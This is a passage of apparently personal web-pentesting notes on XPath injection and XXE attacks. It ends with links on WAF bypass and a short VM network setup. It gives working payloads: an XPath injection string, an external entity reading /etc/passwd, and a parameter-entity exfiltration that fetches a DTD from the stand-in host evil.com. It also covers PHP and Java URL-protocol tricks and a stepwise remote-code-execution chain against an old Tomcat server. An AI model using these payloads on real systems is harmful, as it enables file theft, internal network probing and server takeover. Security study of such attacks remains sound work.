811 </comment> //INJECTION ENDS HERE
812</payment>
813</batchjob>
814
815[+] XPath injection.
816http://www.w3schools.com/xsl/xpath_syntax.asp //Xpath syntax tutorial
817http://securityidiots.com/Web-Pentest/XPATH-Injection/Basics-XPATH-injection.html //Really useful! Also has blind in next tutorials.
818http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Introduction%20to%20Xpath%20injection%20techniques.pdf //intoduction to xpath injection
819http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Blind%20Xpath%20injection.pdf //Blind XPath injection.
820
821If you want to find something in xml document, you use xpaths. For example, querying "/a/b/c" will output "The value" in this: <a><b><c>The value</c></b></a>
822Thus, we get xpath injections.
823
824You can use [position()=1] to get the first element.
825
826The equivalent of UNION in XPath is a pipe '|'. When you do the pipe, only the results from the first statement count apparently (when doing the xpath_search, I think), so it's basically like commenting the rest out, I suppose.
827Example:
828/userdb/user[id='/*injection_starts_here*/' or position()=1]/New_Element_name|a['/*injection_ends_here*/']/username
829You can see that two tricks are used here. First there's getting the first element using position()=1. Secondly, we've used a pipe to essentially comment out the rest of the query, so that we can get the value of New_Element_name instead of username returned to us.
830
831Getting all the elements - http://securityidiots.com/Web-Pentest/XPATH-Injection/Basics-XPATH-injection.html
832
833[+] 2014 Whitepapaer that's a great resource when pentesting XXE. From the same guys that did the OWASP talk below.
834http://www.vsecurity.com/download/publications/XMLDTDEntityAttacks.pdf
835"External Resource Inclusion via XInclude Support" - this can do pretty much everything external entities can do.
836
837[+] THINGS NOT TO FUCK UP WHEN DOING XXE:
8381) URL encode everything - especiall '&'
8392) <!DOCTYPE blablabla <--- doctype's closing bracket is only at the end!
8403) You have to put the file:// before getting a file!
841
842[+] SUMMARY OF OWASP TALK - Stealing data using XXE (From 2013 - check OWASP if anything's changed):
843https://www.youtube.com/watch?v=eHSNT8vWLfc
844(CTRL+F "(EXPLOIT) PARTS IF IN A HURRY. The rest is for better understanding.)
845ONE MORE THING - it's really really easy to mess these hacks up, so make sure to test them out on a VM first (like Web For Pentester)
846Also try to use the same parser you'll be exploiting, since different parsers may behave differently. (for example, I wasn't able to get back PHP code from PHP's simpleXML parser, even when I inputted the CDATA and PHP code by hand (when it printed simplexml_load_string as a string (probably not the implementation you'll see in the wild). Even though Python worked. Also, <name><![CDATA[<name1>BradChad</name>]]></name> still outputted only BradChad, so this was the fault of the parser.)
847
848(*)(EXPLOIT)You can do it without pulling some tricks (With limitations). This allows you to steal things like /etc/passwd
849If you do:
850
851<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><name>&x;</name>
852
853Then there are some heavy restrictions:
8541) The data is stored server-side in the <name> field, and you need to be able to see it client-side to get the data.
8552) The data you're stealing has to be well-formed XML, so:
856 a) no binary
857 b) in text, no stray '&', '<' or '>'
858 c) IMPORTANT - well-formed XML documents can be included, but are often not usable.
859 The application is going to try and interpret what you've included. It's going to find a whole series of more tags,
860 and it's either gonna fail the validation or it's not gonna pull the text in as raw text,
861 it's gonna pull in any data around the next set of tags, so you don't actually get access to the data.
862
863(*) If you get a little bit more complex, you can get around those restrictions by using parameter entities.
864
865(info) A parameter entity is pretty much reusable variable text that you can put inside an entity.
866 For example,
867 <!ELEMENT residence (name, street, pincode, city, phone)> //is the same as
868 <!ENTITY % area "name, street, pincode, city"> //These three lines
869 <!ENTITY % contact "phone">
870 <!ELEMENT residence (%area; %contact;)>
871
872(what doesn't work) You can't do <!ENTITY start "<![CDATA["> because it's not well-formed XML (otherwise you could
873surround any include in CDATA tags, which means to interpret it as raw text.
874
875(the exploit) However, you CAN do it with parameter entities!
876
877<!DOCTYPE updateProfile [
878 //first we make the parameter entities
879 <!ENTITY % start "<![CDATA[">
880 <!ENTITY % file SYSTEM "file://c:/has/broken/xml"> //I think a third '/' is necessary after 'file:'?
881 <!ENTITY % end "]]>">
882 //Then we grab a DTD file from our own website (necessary)
883 <!ENTITY % dtd SYSTEM "http://evil.com/join.dtd">
884 //By writing it out we are effectively executing the parameter entity as an entity
885 %dtd;
886]>
887
888//This is the join.dtd on our website
889<!ENTITY all "%start;%file;%end">
890
891//This is the field
892<name>&all;</name>
893
894This allows you to read well-formed xml documents (you can probably also use this to port scan internal services by doing http:// instead of file://). Still some restrictions:
895 1) Needs well-formed XML document //Not sure if this is true.
896 2) No binary
897 3) Still requires that you get that data back somehow (for example by viewing your profile)
898
899(*)(EXPLOIT) You can do even better. You can make it so that you don't have to get the data back somehow. Refer to 12:52 in the video.
900 1) Still no binary
901 2) either " or ' will cause the error
902 3) # will cause URL truncation //both 2) and 3) are because of the send entity. If you imagine how variables are placed into that query, you'll understand why that is.
903
904(*) You can use URL protocols to do cool things. External entity support may or may not be necessary (depends if you do the inclusion in <!ENTITY ...> or <!DOCTYPE ...>)
905Note: This is (as I understand it) done by doing the thing where you ask the parser to pull a DTD from a website.
906Look at 15:21 of video to see which platforms give you which options (also read the whitepaper in the [+] above this one.
907
908(*)PHP IS THE MOST AWESOME THING EVER!
909For example, if they're using PHP, you can get also get any file format through the use of URL protocols. (php://filter/convert.base64-encode/resource= - the base64 transition)
910
911(*)Java - use file:// for directory listings.
912Use jar:// to (20:00)
913 1)retrieve a zip file from the internet (allows for DoS via decompression bombs or via filling up filling up temporary space)
914 2)look inside zip directories (like jar, zip, docx, xlsx) and retrieve files
915 3)File upload to the remote server (21:22).
916If the java is old (pre september 2012. 1.7u7, 1.6u32 and earlier), then gopher:// can be used to send arbitrary data (17:43) (useful for internal network CSRF, port scanning, exploiting secondary network vulns)
917
918(*)(EXPLOIT) Remote Code Execution scenario on older Tomcat server with a private admin panel on the backend:
919 1) Supposing that the server gives you back the data, you can use jar's file:// to explore the server and see directory listings.
920 2) Let's say you find Tomcat-users.xml (lists users that have access to the private admin interface)
921 3) Upload file to server - evil.war. Hang the connection so the temporary uploaded file stays on the server.
922 4) Find our file using directory listings
923 5) Use gopher to authenticate against the admin interface (instead of using gopher you could CSRF an internal user (probably by using XML entities for the CSRF) and still get the same result)
924 6) Use the admin interface to deploy the temp file as a new app
925 7) ???
926 8) Ca$h m0n3y!
927
928------------------------------------------------
929WAF bypassing/Web application firewall bypassing
930------------------------------------------------
931http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html
932http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20POC2009%20Shocking%20News%20In%20PHP%20Exploitation.pdf
933
934Various
935---------------
936Virtual Machine
937---------------
938Connecting to the VM:
939Edit /etc/interfaces to make the ip static. Make the ip be in the same range as the adapter and set the gateway to the adapter
940sudo nano /etc/network/interfaces
941iface eth0 inet static
942address 192.168.56.20
943netmask 255.255.255.0
944gateway 192.168.56.1
945sudo ifdown eth0
946sudo ifup eth0